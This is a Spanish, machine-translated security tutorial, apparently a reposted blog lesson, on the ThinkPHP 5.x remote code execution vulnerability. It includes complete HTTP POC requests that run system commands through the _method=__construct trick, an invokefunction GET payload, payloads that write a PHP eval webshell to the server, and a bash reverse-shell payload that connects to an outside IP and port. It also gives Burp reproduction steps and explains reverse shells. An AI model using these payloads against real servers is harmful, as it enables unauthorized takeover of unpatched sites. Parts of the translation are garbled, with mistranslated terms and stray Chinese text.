Lección 2 de aprendizaje en profundidad sobre seguridad de red: vulnerabilidades populares del marco (RCE: ejecución de código Thinkphp5.0.23)


1. ¿Qué es un marco?

En definitiva, alguien más te ha construido una casa pero aún no la ha decorado, necesitas decorarla en el apartamento diseñado por otros, ahorrándote la operación repetitiva de mover ladrillos.


2. Causas de las vulnerabilidades del marco.

Hay fallas ambientales en el marco, que son causadas por el uso de una versión no segura.


2. Paso 3. Introducción a ThinkPHP

------ThinkPHP se ha desarrollado hasta ahora. Las versiones principales incluyen principalmente las siguientes series: serie ThinkPHP 2, serie ThinkPHP 3, serie ThinkPHP 5 y serie ThinkPHP 6. Existen grandes diferencias entre cada serie en términos de implementación de código. y funciones. . Entre ellos, las series ThinkPHP 2 y ThinkPHP 3 han dejado de mantenerse, la serie ThinkPHP 5 es ahora la más utilizada y la serie ThinkPHP 3 también ha acumulado una gran cantidad de usuarios históricos.

------ Desde el punto de vista de los datos, la mayoría de las vulnerabilidades en la versión de la serie ThinkPHP 3 fueron expuestas en 2016/2017, mientras que las vulnerabilidades en la versión de la serie ThinkPHP 5 fueron expuestas básicamente en 2017/2018. También se han comenzado a descubrir vulnerabilidades de la serie ThinkPHP 6.

------ Dependiendo de la versión de ThinkPHP, si es la versión 5.x, puede utilizar la vulnerabilidad de ejecución remota de código de ThinkPHP 5.x. Puede ejecutar cualquier comando sin iniciar sesión y obtener la máxima autoridad del servidor.
Insertar descripción de la imagen aquí


4. Características del marco Thinkphp

  • El informe de error aparecerá en el siguiente formato.
    Insertar descripción de la imagen aquí
    Insertar descripción de la imagen aquí
  • El ícono del sitio web tiene el siguiente ícono
    Insertar descripción de la imagen aquí

5. Ejecución remota de código Thinkphp5.0.23

1. Alcance del impacto de la vulnerabilidad

La versión es:
5.x < 5.1.31
Thinkphp 5.0.x<= 5.0.23

2. Causa de la vulnerabilidad

------ La razón de esta vulnerabilidad es que la capa inferior del marco ThinkPHP5 no filtra estrictamente el nombre del controlador, lo que permite a los atacantes llamar a funciones confidenciales dentro del marco ThinkPHP a través de URL, lo que lleva a la vulnerabilidad getshell.


6. Paquete de datos POC

bajo Windows

POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]= id 
  • Análisis de parámetros POC
    • _method=__construct para poder ingresar a construct y así sobrescribir variables
    • filtro[]=variables de anulación del sistema
    • método = obtener Debido a que las reglas de enrutamiento de captcha están en el modo de obtención, tenemos que configurar el método para obtener la ruta de captcha.
    • s=captcha Porque después de ingresar a la función ejecutiva, necesitamos cambiar al método para ejecutar la función param, y la ruta de este captcha corresponde al tipo de método, por lo que elegimos captcha
    • get[]=id sobrescribe las variables

Bajo Linux

_method=__construct&filter[]=system&method=get&get[]=pwd
  • OBTENER solicitud:
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
  • escribir al shell
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_POST[cmd]);?^> >shell.php

7. Reproducción manual de vulnerabilidades

1. Primero capture el paquete con Burp y envíe el paquete de solicitud capturado al módulo de reproducción.

Insertar descripción de la imagen aquí

2. Cambie el paquete de datos a una solicitud POST.

Insertar descripción de la imagen aquí
Insertar descripción de la imagen aquí

3. Construya el paquete de solicitud de acuerdo con el POC y luego reprodúzcalo.

Aquí usamos el comando pwd para ver la ruta.
Insertar descripción de la imagen aquí
Insertar descripción de la imagen aquí

4. Escribir en shell

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php phpinfo(); ?>" > 1.php

Insertar descripción de la imagen aquí
Insertar descripción de la imagen aquí
Así está escrito.

5. Cáscara de rebote

POC(需进行url编码)

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=/bin/bash+-c+"bash+-i+>%26+/dev/tcp/192.168.188.177/9999+0>%261"

1) Establecer seguimiento

Insertar descripción de la imagen aquí

2) Enviar paquete de solicitud de POC

Insertar descripción de la imagen aquí

3) Regrese al terminal de escucha para verificar y descubrir que el caparazón ha rebotado.

Insertar descripción de la imagen aquí


8. Recurrencia de herramientas de vulnerabilidad

1. Herramientas

Insertar descripción de la imagen aquí
Insertar descripción de la imagen aquí

2, guión

Insertar descripción de la imagen aquí
Insertar descripción de la imagen aquí

这里要注意,在windows操作时,要写入shell时,直接在cmd里面操作,控制台不会直接识别 < 、’ 、” 等特殊符号,这时就需要使用 ^ 来进行转义。

Por ejemplo, lo siguiente no se puede ejecutar cuando se escribe en el shell:
Insertar descripción de la imagen aquí
en este caso, puede usar ^ para escaparlo y poder identificarlo.
Insertar descripción de la imagen aquí


9. Shell de extensión-rebote

  • ¿Qué es un caparazón inverso?
    Es decir, el extremo de control monitorea un determinado puerto TCP/UDP, el extremo controlado inicia una solicitud al puerto y transfiere la entrada y salida de su línea de comando al extremo de control. El shell inverso casi corresponde a shells estándar como telnet y ssh y es esencialmente la inversión de los roles de cliente y servidor en el concepto de red.

  • ¿Por qué necesitas rebotar el caparazón?
    Los shells de rebote generalmente se usan cuando el extremo controlado está restringido por firewalls, tiene permisos insuficientes y tiene puertos ocupados. Durante el proceso de penetración, a menudo es imposible conectarse directamente a la máquina de destino debido a restricciones de puerto. En este caso, es necesario obtener un shell interactivo a través de un shell de rebote para poder continuar más profundamente.


Supongo que te gusta

Origin blog.csdn.net/p36273/article/details/132920131
Recomendado
Clasificación